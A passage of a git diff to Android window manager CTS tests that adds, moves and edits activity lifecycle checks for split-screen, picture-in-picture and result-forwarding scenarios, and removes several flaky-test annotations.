+        getLifecycleLog().clear();
+        secondActivity.setResult(Activity.RESULT_OK);
+        secondActivity.finish();
+
+        // Check that activity was resumed and result was delivered
+        waitAndAssertActivityStates(state(callbackTrackingActivity, ON_RESUME));
+        LifecycleVerifier.assertSequence(CallbackTrackingActivity.class, getLifecycleLog(),
+                Arrays.asList(ON_RESTART, ON_START, ON_ACTIVITY_RESULT, ON_RESUME), "resume");
+    }
+
+    @Test
+    public void testResumedWhenRestartedFromInNonFocusedStack() throws Exception {
+        // Launch first activity
+        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
+
+        // Enter split screen
+        moveTaskToPrimarySplitScreenAndVerify(firstActivity);
+
+        // Start an activity in separate task (will be placed in secondary stack)
+        final Activity newTaskActivity = new Launcher(ThirdActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+                .launch();
+
+        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
+
+        // Launch second activity, first become stopped
+        getLifecycleLog().clear();
+        final Activity secondActivity = launchActivityAndWait(SecondActivity.class);
+
+        // Wait for second activity to resume and first to stop
+        waitAndAssertActivityStates(state(newTaskActivity, ON_STOP));
+
+        // Finish top activity
+        getLifecycleLog().clear();
+        secondActivity.finish();
+
+        waitAndAssertActivityStates(state(newTaskActivity, ON_RESUME));
+        waitAndAssertActivityStates(state(secondActivity, ON_DESTROY));
+
+        // Verify that the first activity was restarted to resumed state as it was brought back
+        // after windowing mode was switched
+        LifecycleVerifier.assertRestartAndResumeSequence(ThirdActivity.class, getLifecycleLog());
+        LifecycleVerifier.assertResumeToDestroySequence(SecondActivity.class, getLifecycleLog());
+    }
+
+    @Test
+    public void testResumedTranslucentWhenRestartedFromInNonFocusedStack() throws Exception {
+        // Launch first activity
+        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
+
+        // Enter split screen
+        moveTaskToPrimarySplitScreen(firstActivity.getTaskId(), true /* showSideActivity */);
+
+        // Launch a translucent activity, first become paused
+        final Activity translucentActivity = launchActivityAndWait(TranslucentActivity.class);
+
+        // Wait for first activity to pause
+        waitAndAssertActivityStates(state(firstActivity, ON_PAUSE));
+
+        // Start an activity in separate task (will be placed in secondary stack)
+        new Launcher(ThirdActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+                .launch();
+
+        getLifecycleLog().clear();
+
+        // Finish top activity
+        translucentActivity.finish();
+
+        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
+        waitAndAssertActivityStates(state(translucentActivity, ON_DESTROY));
+
+        // Verify that the first activity was resumed
+        LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
+                Arrays.asList(ON_RESUME), "resume");
+        LifecycleVerifier.assertResumeToDestroySequence(TranslucentActivity.class,
+                getLifecycleLog());
+    }
+
+    @Test
+    public void testLifecycleOnMoveToFromSplitScreenRelaunch() throws Exception {
+        // Launch a singleTop activity
+        launchActivityAndWait(CallbackTrackingActivity.class);
+
+        // Wait for the activity to resume
+        LifecycleVerifier.assertLaunchSequence(CallbackTrackingActivity.class, getLifecycleLog());
+
+        // Enter split screen
+        getLifecycleLog().clear();
+        setActivityTaskWindowingMode(CALLBACK_TRACKING_ACTIVITY,
+                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+
+        // Wait for the activity to relaunch and receive multi-window mode change
+        final List<LifecycleLog.ActivityCallback> expectedEnterSequence =
+                Arrays.asList(ON_TOP_POSITION_LOST, ON_PAUSE, ON_STOP, ON_DESTROY, PRE_ON_CREATE,
+                        ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME, ON_TOP_POSITION_GAINED,
+                        ON_TOP_POSITION_LOST, ON_PAUSE);
+        waitForActivityTransitions(CallbackTrackingActivity.class, expectedEnterSequence);
+        LifecycleVerifier.assertOrder(getLifecycleLog(), CallbackTrackingActivity.class,
+                Arrays.asList(ON_TOP_POSITION_LOST, ON_PAUSE, ON_STOP, ON_DESTROY, ON_CREATE,
+                        ON_RESUME), "moveToSplitScreen");
+
+        // Exit split-screen
+        getLifecycleLog().clear();
+        setActivityTaskWindowingMode(CALLBACK_TRACKING_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
+
+        // Wait for the activity to relaunch and receive multi-window mode change
+        final List<LifecycleLog.ActivityCallback> expectedExitSequence =
+                Arrays.asList(ON_STOP, ON_DESTROY, PRE_ON_CREATE, ON_CREATE, ON_START,
+                        ON_POST_CREATE, ON_RESUME, ON_PAUSE, ON_RESUME, ON_TOP_POSITION_GAINED);
+        waitForActivityTransitions(CallbackTrackingActivity.class, expectedExitSequence);
+        LifecycleVerifier.assertOrder(getLifecycleLog(), CallbackTrackingActivity.class,
+                Arrays.asList(ON_DESTROY, ON_CREATE, ON_RESUME, ON_TOP_POSITION_GAINED),
+                "moveFromSplitScreen");
+    }
+
+    @Test
+    public void testLifecycleOnMoveToFromSplitScreenNoRelaunch() throws Exception {
+
+        // Launch activities and enter split screen. Launched an activity on
+        // split-screen secondary stack to ensure the TOP_POSITION_LOST is send
+        // prior to MULTI_WINDOW_MODE_CHANGED.
+        launchActivitiesInSplitScreen(
+                getLaunchActivityBuilder().
+                        setTargetActivity(getComponentName(ConfigChangeHandlingActivity.class)),
+                getLaunchActivityBuilder().
+                        setTargetActivity(getComponentName(SecondActivity.class)));
+
+        final int displayWindowingMode = getDisplayWindowingModeByActivity(
+                getComponentName(ConfigChangeHandlingActivity.class));
+        if (displayWindowingMode == WINDOWING_MODE_FULLSCREEN) {
+            // Wait for the activity to receive the change.
+            waitForActivityTransitions(ConfigChangeHandlingActivity.class,
+                    Arrays.asList(ON_TOP_POSITION_LOST, ON_MULTI_WINDOW_MODE_CHANGED));
+            LifecycleVerifier.assertOrder(getLifecycleLog(), ConfigChangeHandlingActivity.class,
+                    Arrays.asList(ON_MULTI_WINDOW_MODE_CHANGED, ON_TOP_POSITION_LOST),
+                    "moveToSplitScreen");
+        } else {
+            // For non-fullscreen display mode, there won't be a multi-window callback.
+            waitForActivityTransitions(ConfigChangeHandlingActivity.class,
+                    Arrays.asList(ON_TOP_POSITION_LOST));
+            LifecycleVerifier.assertTransitionObserved(getLifecycleLog(),
+                    transition(ConfigChangeHandlingActivity.class, ON_TOP_POSITION_LOST),
+                    "moveToSplitScreen");
+        }
+
+        // Exit split-screen
+        getLifecycleLog().clear();
+        setActivityTaskWindowingMode(CONFIG_CHANGE_HANDLING_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
+
+        // Wait for the activity to receive the change
+        final List<LifecycleLog.ActivityCallback> expectedSequence =
+                Arrays.asList(ON_TOP_POSITION_GAINED, ON_MULTI_WINDOW_MODE_CHANGED);
+        waitForActivityTransitions(ConfigChangeHandlingActivity.class, expectedSequence);
+        LifecycleVerifier.assertTransitionObserved(getLifecycleLog(),
+                transition(ConfigChangeHandlingActivity.class, ON_MULTI_WINDOW_MODE_CHANGED),
+                "exitSplitScreen");
+        LifecycleVerifier.assertTransitionObserved(getLifecycleLog(),
+                transition(ConfigChangeHandlingActivity.class, ON_TOP_POSITION_GAINED),
+                "exitSplitScreen");
+    }
+
+    @Test
+    public void testOnUserLeaveHint() throws Exception {
+        launchActivitiesInSplitScreen(
+                getLaunchActivityBuilder()
+                        .setTargetActivity(getComponentName(ConfigChangeHandlingActivity.class)),
+                getLaunchActivityBuilder()
+                        .setIntentExtra(
+                                extra -> extra.putBoolean(EXTRA_ACTIVITY_ON_USER_LEAVE_HINT, true))
+                        .setTargetActivity(getComponentName(FirstActivity.class)));
+
+        getLifecycleLog().clear();
+        launchActivityAndWait(SecondActivity.class);
+
+        LifecycleVerifier.assertOrder(getLifecycleLog(), FirstActivity.class,
+                Arrays.asList(ON_USER_LEAVE_HINT, ON_PAUSE, ON_STOP),
+                "moveFromSplitScreen");
+    }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecyclePipTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecyclePipTests.java
index b018ea7..7707f98 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecyclePipTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecyclePipTests.java
@@ -16,7 +16,6 @@
 
 package android.server.wm.lifecycle;
 
-import static android.app.ActivityTaskManager.INVALID_STACK_ID;
 import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP;
@@ -29,11 +28,9 @@
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_STOP;
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.PRE_ON_CREATE;
 
-import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assume.assumeTrue;
 
 import android.app.Activity;
-import android.content.ComponentName;
 import android.platform.test.annotations.Presubmit;
 
 import androidx.test.filters.MediumTest;
@@ -65,17 +62,13 @@
         final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
 
         // Launch Pip-capable activity
-        final Activity pipActivity = launchActivityAndWait(PipActivity.class);
+        final PipActivity pipActivity = launchActivityAndWait(PipActivity.class);
 
         waitAndAssertActivityStates(state(firstActivity, ON_STOP));
 
         // Move activity to Picture-In-Picture
         getLifecycleLog().clear();
-        final ComponentName pipActivityName = getComponentName(PipActivity.class);
-        mWmState.computeState(pipActivityName);
-        final int stackId = mWmState.getStackIdByActivity(pipActivityName);
-        assertNotEquals(stackId, INVALID_STACK_ID);
-        moveTopActivityToPinnedStack(stackId);
+        pipActivity.enterPip();
 
         // Wait and assert lifecycle
         waitAndAssertActivityStates(state(firstActivity, ON_RESUME), state(pipActivity, ON_PAUSE));
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java
deleted file mode 100644
index 87caa56..0000000
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java
+++ /dev/null
@@ -1,358 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.wm.lifecycle;
-
-import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
-import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
-import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
-import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_ACTIVITY_RESULT;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_CREATE;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_DESTROY;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_MULTI_WINDOW_MODE_CHANGED;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_PAUSE;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_POST_CREATE;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_RESTART;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_RESUME;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_START;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_STOP;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_TOP_POSITION_GAINED;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_TOP_POSITION_LOST;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.PRE_ON_CREATE;
-import static android.server.wm.lifecycle.LifecycleVerifier.transition;
-
-import static androidx.test.InstrumentationRegistry.getInstrumentation;
-
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assume.assumeTrue;
-
-import android.app.Activity;
-import android.app.Instrumentation;
-import android.content.ComponentName;
-import android.content.Intent;
-import android.platform.test.annotations.Presubmit;
-
-import androidx.test.filters.MediumTest;
-
-import org.junit.Before;
-import org.junit.Ignore;
-import org.junit.Test;
-
-import java.util.Arrays;
-import java.util.List;
-
-/**
- * Build/Install/Run:
- *     atest CtsWindowManagerDeviceTestCases:ActivityLifecycleSplitScreenTests
- */
-@MediumTest
-@Presubmit
-@android.server.wm.annotation.Group3
-public class ActivityLifecycleSplitScreenTests extends ActivityLifecycleClientTestBase {
-
-    @Before
-    public void setUp() throws Exception {
-        super.setUp();
-        assumeTrue(supportsSplitScreenMultiWindow());
-        // TODO(b/149338177): Fix test to pass with organizer API.
-        mUseTaskOrganizer = false;
-    }
-
-    @Test
-    public void testResumedWhenRecreatedFromInNonFocusedStack() throws Exception {
-        // Launch first activity
-        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
-
-        // Launch second activity to stop first
-        final Activity secondActivity = launchActivityAndWait(SecondActivity.class);
-
-        // Wait for the first activity to stop, so that this event is not included in the logs.
-        waitAndAssertActivityStates(state(firstActivity, ON_STOP));
-
-        // Enter split screen
-        moveTaskToPrimarySplitScreenAndVerify(secondActivity);
-
-        // CLear logs so we can capture just the destroy sequence
-        getLifecycleLog().clear();
-
-        // Start an activity in separate task (will be placed in secondary stack)
-        new Launcher(ThirdActivity.class)
-                .setFlags(FLAG_ACTIVITY_MULTIPLE_TASK | FLAG_ACTIVITY_NEW_TASK)
-                .launch();
-
-        // Finish top activity
-        secondActivity.finish();
-
-        waitAndAssertActivityStates(state(secondActivity, ON_DESTROY),
-                state(firstActivity, ON_RESUME));
-
-        // Verify that the first activity was recreated to resume as it was created before
-        // windowing mode was switched
-        LifecycleVerifier.assertRecreateAndResumeSequence(FirstActivity.class, getLifecycleLog());
-
-        // Verify that the lifecycle state did not change for activity in non-focused stack
-        LifecycleVerifier.assertLaunchSequence(ThirdActivity.class, getLifecycleLog());
-    }
-
-    @Test
-    public void testOccludingOnSplitSecondaryStack() throws Exception {
-        // Launch first activity
-        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
-
-        // Enter split screen
-        moveTaskToPrimarySplitScreenAndVerify(firstActivity);
-
-        final ComponentName firstActivityName = getComponentName(FirstActivity.class);
-        mWmState.computeState(firstActivityName);
-        int primarySplitStack = mWmState.getStackIdByActivity(firstActivityName);
-
-        // Launch second activity to side
-        getLifecycleLog().clear();
-        final Activity secondActivity = new Launcher(SecondActivity.class)
-                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
-                .launch();
-
-        // Launch third activity on top of second
-        getLifecycleLog().clear();
-        new Launcher(ThirdActivity.class)
-                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
-                .launch();
-        waitAndAssertActivityStates(state(secondActivity, ON_STOP));
-    }
-
-    @Test
-    public void testTranslucentOnSplitSecondaryStack() throws Exception {
-        // Launch first activity
-        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
-
-        // Enter split screen
-        moveTaskToPrimarySplitScreenAndVerify(firstActivity);
-
-        final ComponentName firstActivityName = getComponentName(FirstActivity.class);
-        mWmState.computeState(firstActivityName);
-        int primarySplitStack = mWmState.getStackIdByActivity(firstActivityName);
-
-        // Launch second activity to side
-        getLifecycleLog().clear();
-        final Activity secondActivity = new Launcher(SecondActivity.class)
-                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
-                .launch();
-
-        // Launch translucent activity on top of second
-        getLifecycleLog().clear();
-
-        new Launcher(TranslucentActivity.class)
-                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
-                .launch();
-        waitAndAssertActivityStates(state(secondActivity, ON_PAUSE));
-    }
-
-    @Test
-    @Ignore // TODO(b/142345211): Skipping until the issue is fixed, or it will impact other tests.
-    public void testResultInNonFocusedStack() throws Exception {
-        // Launch first activity
-        final Activity callbackTrackingActivity =
-                launchActivityAndWait(CallbackTrackingActivity.class);
-
-        // Enter split screen, the activity will be relaunched.
-        // Start side activity so callbackTrackingActivity won't be paused due to minimized dock.
-        moveTaskToPrimarySplitScreen(callbackTrackingActivity.getTaskId(),
-            true/* showSideActivity */);
-        getLifecycleLog().clear();
-
-        // Launch second activity
-        // Create an ActivityMonitor that catch ChildActivity and return mock ActivityResult:
-        Instrumentation.ActivityMonitor activityMonitor = getInstrumentation()
-                .addMonitor(SecondActivity.class.getName(), null /* activityResult */,
-                        false /* block */);
-
-        callbackTrackingActivity.startActivityForResult(
-                new Intent(callbackTrackingActivity, SecondActivity.class), 1 /* requestCode */);
-
-        // Wait for the ActivityMonitor to be hit
-        final Activity secondActivity = getInstrumentation()
-                .waitForMonitorWithTimeout(activityMonitor, 5 * 1000);
-
-        // Wait for second activity to resume
-        assertNotNull("Second activity should be started", secondActivity);
-        waitAndAssertActivityStates(state(secondActivity, ON_RESUME));
-
-        // Verify if the first activity stopped (since it is not currently visible)
-        waitAndAssertActivityStates(state(callbackTrackingActivity, ON_STOP));
-
-        // Start an activity in separate task (will be placed in secondary stack)
-        new Launcher(ThirdActivity.class)
-                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
-                .launch();
-
-        // Finish top activity and verify that activity below became focused.
-        getLifecycleLog().clear();
-        secondActivity.setResult(Activity.RESULT_OK);
-        secondActivity.finish();
-
-        // Check that activity was resumed and result was delivered
-        waitAndAssertActivityStates(state(callbackTrackingActivity, ON_RESUME));
-        LifecycleVerifier.assertSequence(CallbackTrackingActivity.class, getLifecycleLog(),
-                Arrays.asList(ON_RESTART, ON_START, ON_ACTIVITY_RESULT, ON_RESUME), "resume");
-    }
-
-    @Test
-    public void testResumedWhenRestartedFromInNonFocusedStack() throws Exception {
-        // Launch first activity
-        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
-
-        // Enter split screen
-        moveTaskToPrimarySplitScreenAndVerify(firstActivity);
-
-        // Start an activity in separate task (will be placed in secondary stack)
-        final Activity newTaskActivity = new Launcher(ThirdActivity.class)
-                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
-                .launch();
-
-        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
-
-        // Launch second activity, first become stopped
-        getLifecycleLog().clear();
-        final Activity secondActivity = launchActivityAndWait(SecondActivity.class);
-
-        // Wait for second activity to resume and first to stop
-        waitAndAssertActivityStates(state(newTaskActivity, ON_STOP));
-
-        // Finish top activity
-        getLifecycleLog().clear();
-        secondActivity.finish();
-
-        waitAndAssertActivityStates(state(newTaskActivity, ON_RESUME));
-        waitAndAssertActivityStates(state(secondActivity, ON_DESTROY));
-
-        // Verify that the first activity was restarted to resumed state as it was brought back
-        // after windowing mode was switched
-        LifecycleVerifier.assertRestartAndResumeSequence(ThirdActivity.class, getLifecycleLog());
-        LifecycleVerifier.assertResumeToDestroySequence(SecondActivity.class, getLifecycleLog());
-    }
-
-    @Test
-    public void testResumedTranslucentWhenRestartedFromInNonFocusedStack() throws Exception {
-        // Launch first activity
-        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
-
-        // Enter split screen
-        moveTaskToPrimarySplitScreen(firstActivity.getTaskId(), true /* showSideActivity */);
-
-        // Launch a translucent activity, first become paused
-        final Activity translucentActivity = launchActivityAndWait(TranslucentActivity.class);
-
-        // Wait for first activity to pause
-        waitAndAssertActivityStates(state(firstActivity, ON_PAUSE));
-
-        // Start an activity in separate task (will be placed in secondary stack)
-        new Launcher(ThirdActivity.class)
-                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
-                .launch();
-
-        getLifecycleLog().clear();
-
-        // Finish top activity
-        translucentActivity.finish();
-
-        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
-        waitAndAssertActivityStates(state(translucentActivity, ON_DESTROY));
-
-        // Verify that the first activity was resumed
-        LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
-                Arrays.asList(ON_RESUME), "resume");
-        LifecycleVerifier.assertResumeToDestroySequence(TranslucentActivity.class,
-                getLifecycleLog());
-    }
-
-    @Test
-    public void testLifecycleOnMoveToFromSplitScreenRelaunch() throws Exception {
-        // Launch a singleTop activity
-        final Activity activity = launchActivityAndWait(CallbackTrackingActivity.class);
-
-        // Wait for the activity to resume
-        LifecycleVerifier.assertLaunchSequence(CallbackTrackingActivity.class, getLifecycleLog());
-
-        // Enter split screen
-        getLifecycleLog().clear();
-        moveTaskToPrimarySplitScreenAndVerify(activity);
-
-        // Exit split-screen
-        getLifecycleLog().clear();
-        setActivityTaskWindowingMode(CALLBACK_TRACKING_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
-
-        // Wait for the activity to relaunch and receive multi-window mode change
-        final List<LifecycleLog.ActivityCallback> expectedExitSequence =
-                Arrays.asList(ON_STOP, ON_DESTROY, PRE_ON_CREATE, ON_CREATE, ON_START,
-                        ON_POST_CREATE, ON_RESUME, ON_TOP_POSITION_GAINED);
-
-        // ON_MULTI_WINDOW_MODE_CHANGED could happen before destroy
-        waitForActivityTransitions(CallbackTrackingActivity.class, expectedExitSequence);
-        LifecycleVerifier.assertOrder(getLifecycleLog(), CallbackTrackingActivity.class,
-                expectedExitSequence, "moveFromSplitScreen");
-        LifecycleVerifier.assertTransitionObserved(getLifecycleLog(),
-                LifecycleVerifier.transition(CallbackTrackingActivity.class,
-                        ON_MULTI_WINDOW_MODE_CHANGED),
-                "moveFromSplitScreen");
-    }
-
-    @Test
-    public void testLifecycleOnMoveToFromSplitScreenNoRelaunch() throws Exception {
-
-        // Launch activities and enter split screen. Launched an activity on
-        // split-screen secondary stack to ensure the TOP_POSITION_LOST is send
-        // prior to MULTI_WINDOW_MODE_CHANGED.
-        launchActivitiesInSplitScreen(
-                getLaunchActivityBuilder().
-                        setTargetActivity(getComponentName(ConfigChangeHandlingActivity.class)),
-                getLaunchActivityBuilder().
-                        setTargetActivity(getComponentName(SecondActivity.class)));
-
-        final int displayWindowingMode = getDisplayWindowingModeByActivity(
-                getComponentName(ConfigChangeHandlingActivity.class));
-        if (displayWindowingMode == WINDOWING_MODE_FULLSCREEN) {
-            // Wait for the activity to receive the change.
-            waitForActivityTransitions(ConfigChangeHandlingActivity.class,
-                    Arrays.asList(ON_TOP_POSITION_LOST, ON_MULTI_WINDOW_MODE_CHANGED));
-            LifecycleVerifier.assertOrder(getLifecycleLog(), ConfigChangeHandlingActivity.class,
-                    Arrays.asList(ON_MULTI_WINDOW_MODE_CHANGED, ON_TOP_POSITION_LOST),
-                    "moveToSplitScreen");
-        } else {
-            // For non-fullscreen display mode, there won't be a multi-window callback.
-            waitForActivityTransitions(ConfigChangeHandlingActivity.class,
-                    Arrays.asList(ON_TOP_POSITION_LOST));
-            LifecycleVerifier.assertTransitionObserved(getLifecycleLog(),
-                    transition(ConfigChangeHandlingActivity.class, ON_TOP_POSITION_LOST),
-                    "moveToSplitScreen");
-        }
-
-        // Exit split-screen
-        getLifecycleLog().clear();
-        setActivityTaskWindowingMode(CONFIG_CHANGE_HANDLING_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
-
-        // Wait for the activity to receive the change
-        final List<LifecycleLog.ActivityCallback> expectedSequence =
-                Arrays.asList(ON_TOP_POSITION_GAINED, ON_MULTI_WINDOW_MODE_CHANGED);
-        waitForActivityTransitions(ConfigChangeHandlingActivity.class, expectedSequence);
-        LifecycleVerifier.assertTransitionObserved(getLifecycleLog(),
-                transition(ConfigChangeHandlingActivity.class, ON_MULTI_WINDOW_MODE_CHANGED),
-                "exitSplitScreen");
-        LifecycleVerifier.assertTransitionObserved(getLifecycleLog(),
-                transition(ConfigChangeHandlingActivity.class, ON_TOP_POSITION_GAINED),
-                "exitSplitScreen");
-    }
-}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java
index 76919d7..de98fe5 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java
@@ -21,6 +21,7 @@
 import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TOP;
 import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NO_USER_ACTION;
 import static android.server.wm.WindowManagerState.STATE_PAUSED;
 import static android.server.wm.WindowManagerState.STATE_STOPPED;
 import static android.server.wm.UiDeviceUtils.pressBackButton;
@@ -40,6 +41,7 @@
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_STOP;
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_TOP_POSITION_GAINED;
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_TOP_POSITION_LOST;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_USER_LEAVE_HINT;
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.PRE_ON_CREATE;
 import static android.server.wm.lifecycle.LifecycleVerifier.transition;
 import static android.view.Surface.ROTATION_0;
@@ -58,7 +60,6 @@
 import android.content.pm.ActivityInfo;
 import android.platform.test.annotations.Presubmit;
 
-import androidx.test.filters.FlakyTest;
 import androidx.test.filters.MediumTest;
 
 import com.android.compatibility.common.util.AmUtils;
@@ -163,7 +164,7 @@
 
         // Move translucent activity into the stack with the first activity
         getLifecycleLog().clear();
-        moveActivityToStackOrOnTop(getComponentName(TranslucentActivity.class), firstActivityStack);
+        moveActivityToRootTaskOrOnTop(getComponentName(TranslucentActivity.class), firstActivityStack);
 
         // Wait for translucent activity to resume and first activity to pause
         waitAndAssertActivityStates(state(translucentActivity, ON_RESUME),
@@ -266,7 +267,6 @@
                 Arrays.asList(ON_RESUME), "secondDestroy");
     }
 
-    @FlakyTest(bugId=137329632)
     @Test
     public void testFinishBottom() throws Exception {
         final Activity bottomActivity = launchActivityAndWait(FirstActivity.class);
@@ -286,13 +286,11 @@
                 "destroyOnBottom");
     }
 
-    @FlakyTest(bugId=137329632)
     @Test
     public void testFinishAndLaunchOnResult() throws Exception {
         testLaunchForResultAndLaunchAfterResultSequence(EXTRA_LAUNCH_ON_RESULT);
     }
 
-    @FlakyTest(bugId=137329632)
     @Test
     public void testFinishAndLaunchAfterOnResultInOnResume() throws Exception {
         testLaunchForResultAndLaunchAfterResultSequence(EXTRA_LAUNCH_ON_RESUME_AFTER_RESULT);
@@ -550,6 +548,32 @@
     }
 
     @Test
+    public void testLaunchActivityWithFlagForwardResult() throws Exception {
+        final ActivityMonitor resultMonitor = getInstrumentation().addMonitor(
+                ResultActivity.class.getName(), null /* result */, false /* block */);
+
+        new Launcher(LaunchForwardResultActivity.class)
+                .setExpectedState(ON_STOP)
+                .setNoInstance()
+                .launch();
+
+        final Activity resultActivity = getInstrumentation()
+                .waitForMonitorWithTimeout(resultMonitor, 5000);
+        getInstrumentation().runOnMainSync(resultActivity::finish);
+        waitAndAssertActivityStates(state(LaunchForwardResultActivity.class,
+                ON_TOP_POSITION_GAINED));
+
+        // verify the result have sent back to original activity
+        final List<LifecycleLog.ActivityCallback> expectedSequence =
+                Arrays.asList(PRE_ON_CREATE, ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME,
+                        ON_TOP_POSITION_GAINED, ON_TOP_POSITION_LOST, ON_PAUSE, ON_STOP,
+                        ON_ACTIVITY_RESULT, ON_RESTART, ON_START, ON_RESUME,
+                        ON_TOP_POSITION_GAINED);
+        LifecycleVerifier.assertSequence(LaunchForwardResultActivity.class, getLifecycleLog(),
+                expectedSequence, "becomingVisibleResumed");
+    }
+
+    @Test
     public void testOnActivityResult() throws Exception {
         new Launcher(LaunchForResultActivity.class)
                 .customizeIntent(LaunchForResultActivity.forwardFlag(EXTRA_FINISH_IN_ON_RESUME))
@@ -584,7 +608,6 @@
     }
 
     @Test
-    @FlakyTest(bugId=127741025)
     public void testOnActivityResultAfterStop() throws Exception {
         final ActivityMonitor resultMonitor = getInstrumentation().addMonitor(
                 ResultActivity.class.getName(), null /* result */, false /* block */);
@@ -923,7 +946,6 @@
                 FirstActivity.class);
     }
 
-    @FlakyTest(bugId=142125019) // Add to presubmit when proven stable
     @Test
     public void testFinishBelowDialogActivity() throws Exception {
         verifyFinishAtStage(ResultActivity.class, EXTRA_FINISH_IN_ON_PAUSE, "onPause",
@@ -948,7 +970,6 @@
         waitAndAssertActivityTransitions(activityClass, expectedSequence, "finish in " + stageName);
     }
 
-    @FlakyTest(bugId=142125019) // Add to presubmit when proven stable
     @Test
     public void testFinishBelowTranslucentActivityAfterDelay() throws Exception {
         final Activity bottomActivity = launchActivityAndWait(CallbackTrackingActivity.class);
@@ -964,7 +985,6 @@
                 getLifecycleLog(), "finishBelow");
     }
 
-    @FlakyTest(bugId=142125019) // Add to presubmit when proven stable
     @Test
     public void testFinishBelowFullscreenActivityAfterDelay() throws Exception {
